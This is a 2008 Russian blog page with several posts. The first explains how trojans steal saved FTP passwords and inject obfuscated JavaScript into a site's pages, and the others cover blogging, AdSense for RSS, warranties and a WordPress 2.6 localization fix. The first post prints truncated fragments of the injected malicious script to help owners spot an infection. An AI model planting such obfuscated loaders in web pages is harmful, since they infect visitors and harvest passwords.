августа 27, 2008

Как заразить вирусом свой собственный вебсайт

Эта статья адресована в первую очередь всем владельцам собственных вебсайтов. Возможно, вы уже сталкивались с враждебным вторжением, а может быть, вам это еще только предстоит. Но в любом случае далеко не всегда виноватым является хостинг. В последнее время участились случаи внедрения вредоносного кода в HTML и PHP страницы, а также в файл .htaccess. Как это проявляется?
  • При доступе к своему сайту вы можете получать сообщения об ошибках php, если там применяются скрипты или используется какой-либо движок на PHP (wordpress, joomla).
  • Обычные HTML страницы могут быть искажены или доступ к ним ограничен либо полностью отсутствовать.
  • Возможно появление ошибки выполнения скриптов 500 при заражении .htaccess.
  • Сообщение антивирусных программ о заражении при открытии своих сайтов.
  • Что-либо другое, не соответствующее нормальной работе вебсайта.

Что все это значит и как проверяется?

При просмотре исходного кода вебстраниц вначале или в самом конце присутствует загадочный код как правило в виде кодированного javascript. Скажем вот такого вида (приводится не полностью):
<script>function vyVdxyxdaYY(vyatVYybYVy){ var vYdbddxaVaV=530;
return(parseInt(vyatVYybYVy,16));}function vayatyaVatd(vVayxytttdy)
{ var vdxxaxdaYVy=530; var vtVbxYytbYa='';
for(vYbbbaxVbYx=0; vYbbbaxVbYx<vvayxytttdy.length;>...
или
<!-- [ ab2aab4b9d766629b77b9b4febadeb6f ] --><script>eval
(unescape('function%20crZnLPY%28uTm%29%7Bfunction%20sPWGz%28unYS%29%7
Bvar%20fUrEeI%3D0%2CvEImT%2CtKGn%3DunYS.
length%3Bfor%28vEImT%3D0%3BvEImT%3CtKGn%3BvEImT++%29fUrEeI+%3DunYS.
charCodeAt%28vEImT%29*tKGn%3Breturn%20new%20String%28fUrEeI%29%7DuTm%3
Dunescape%28uTm%29%3Bvar%20uneE%3Deval%28%27ajrdgMu%
3Amje%3Fn%3Ft%3Fs%3F.%3Fcda%3Fldlde%3Fe%3A%27.
replace%28/%5BM%5C%3Fdj%5C%3A%5D/g%2C%20%27%27%29%29.toString ...
Это самый достоверный признак заражения вредоносным кодом. При посещении вашей страницы при помощи Internet Explorer (как правило) компьютер пользователя заражается трояном и цепная реакция продолжается. Вирус ищет новые лазейки для распространения при этом собирая пароли.

Кто посмел это сделать и как его найти?

В 99% случаев источником данного заражения собственных вебсайтов являетесь вы! Ваш компьютер с Windows уже заражен трояном, который, используя пароли доступа по FTP к вашим вебсайтам, без вашего ведома проникает на них и заражает файлы в корневой публичной папке. По последним данным заражению могут подвергаться и вложенные папки до нескольких уровней вложения. Заражаются файлы HTML, PHP, .htaccess. Самые последние вирусы могут изменять расширения HTML файлов на .htm. Код дописывается в конец файла. И при загрузке страницы запускает iframe. И цепочка продолжается.

Что делать и как быть?

  1. Проверить компьютер на предмет наличия вирусов и делать это систематически, регулярно обновляя вирусные базы.
  2. Проверить компьютер на трояны и spyware, если антивирус этого не позволяет.
  3. Сменить пароль на доступ к серверу.
  4. Отменить сохранение пароля в FTP-менеджерах, которыми вы пользуетесь как администратор FTP-сервера (Total Commander, Far, и т.п.) - т.е вводить пароли вручную.
  5. Регулярно проводить архивирование незараженных вебсайтов.
Единственный способ лечения это скачивание вебсайта (при отсутствии локальной копии) и ручное удаление вредоносного кода. Либо выгрузка чистой сохраненной версии.

Небольшой совет профессионалов: ftp пароли можно сохранять с дописанным одним символом и при запросе пароля его просто удалять.

При соблюдении указанных действий появление новых заражений прекращается.

августа 18, 2008

Нужно ли поддерживать блог, который не приносит прибыль?

Когда не было Интернета, люди просто вели дневники. Когда всемирная паутина разрослась, все стали вести блоги. Когда появился Адсенс, народ начал активно монетизировать свои сайты. Так вот нужно ли тратить время и силы на блог, который не приносит никакой отдачи? Ответ ДА, если вам таким образом хочется выражать себя и общаться с друзьями. Ответ НЕТ во всех остальных случаях. Время оно бесконечно только во всемирных масштабах, а человеку отведено так мало, что тратить эти крохи на интернет-мазню просто невиданная расточительность...

августа 16, 2008

Дождались: Adsense для RSS каналов

adsense-rss

Помните, на feedburner.com хотели разместить рекламные блоки adsense прямо в RSS-каналах? Так вот всё уже сделано. Можно вставлять рекламу от Гугль в любой RSS-поток. Все управление доступно непосредственно из аккаунта Adsense.

Есть и нюансы: изменяется фактический адрес фида. Бывший до этого http://feeds.feedburner.com/ИМЯ станет http://feedproxy.google.com/ИМЯ. Редирект устанавливается автоматически, для подписчиков все останется без изменений. Только вот если вы использовали Yahoo Pipes для управления различными каналами, придётся исходные адресочки поменять вручную. Переадресация не понимается.

Количество подписчиков после введения новой возможности резко упало почти в два раза. У этого блога вчера было 92 — сегодня стало 52. Куда они деваются остаётся загадкой...

К тому же миграция с фидбёрнера на гугль адсенс производится вручную по заявке:

To migrate all of your feeds, and your account from feeds.feedburner.com to Google, please contact us at adsense-support-aff@google.com

августа 12, 2008

При покупке сложной техники выбирайте правильный магазин

В погоне за невысокой ценой, покупатель не придает значения условиям предоставления гарантии и послегарантийного обслуживания. При выборе, скажем памяти microSD предпочтение отдается 14-долларовой модели с годом гарантии перед 30-долларовой с 5 годами. Никто и не думает о возможной потере данных в процессе работы.

Или вот пример из жизни: приобретение фотоаппарата Canon. Ищется магазин с минимальной ценой и волна радости от долгожданной покупки не дает изучить детали предоставления гарантийного обслуживания. А если рассмотреть вопрос подробнее, то может оказаться, что указанной гарантийной мастерской уже не существует в вашем городе. А речь о фирменной гарантии Canon вообще не идет, что приводит в неописуемый восторг работников официального сервисного центра :-) И что получается в итоге? Под напором вашего возмущения работники магазина принимают забарахлившую технику, собирают большую посылку из другой поломанной аппаратуры и отправляют, скажем в столицу вашей родины. Через неделю. Еще неделю-две она ремонтируется, что вполне законно. И еще неделю едет такой же большой посылкой к вам. А за это время мало того, что вы пропускаете несколько важных событий, требующих фотографирования, цена на данную модель фотоаппарата снижается на 50 долларов.

Вывод какой? Внимательно читаем гарантийные документы и не жлобимся на товар, имеющий фирменную гарантию.

P.S. За три месяца до окончания двухгодичной гарантии ДВД-привод LG отказался работать. В правильном магазине обменяли на новый ASUS последней модели.

августа 05, 2008

Проблемы с локализацией Wordpress 2.6

Совершенству нет предела, но Вордпресс далёк от совершенства. Профессиональные программисты в один голос трубят о недостатках кода Wordpress. Но, как говорится, ругать еду ресторана Макдональдс могут все, а зарабатывать так, как Макдональдс не может никто. Поэтому радуемся лучшему беслпатному движку блогов всех времен и народов и попутно исправляем ошибки кода.

В русской локализации последней на текущий момент версии Wordpress 2.6 в админ панели (панель приборов) выскакивает предупреждение и напрочь слетает кодировка:

Warning: unpack() [function.unpack]: Type A: not enough input, need 85, have 0 in /home/public_html/wp-includes/streams.php on line 64
Warning: array_shift() [function.array-shift]: The argument should be an array in /home/public_html/wp-includes/streams.php on line 64
Warning: unpack() [function.unpack]: Type A: not enough input, need 8192, have 0 in /home/public_html/wp-includes/streams.php on line 64
Warning: array_shift() [function.array-shift]: The argument should be an array in /home/public_html/wp-includes/streams.php on line 64
Warning: unpack() [function.unpack]: Type A: not enough input, need 1769472, have 0 in /home/public_html/wp-includes/streams.php on line 64
Warning: array_shift() [function.array-shift]: The argument should be an array in /home/public_html/wp-includes/streams.php on line 64
... ... ...

Не вдаваясь в детали ошибка заключается в неправильном задании типов переменных (ну или что-то подобное).

Решение.

1. Не использовать русскую локализацию. В файле настроек wp-congfig.php удаляем «ru_RU» в строке define ('WPLANG', 'ru_RU');.

2. Скачиваем файл streams.php на странице WordPress error during translation file usage - the reason (ссылка на архив в конец статьи). Заменяем старый на новый в папке /wp-includes.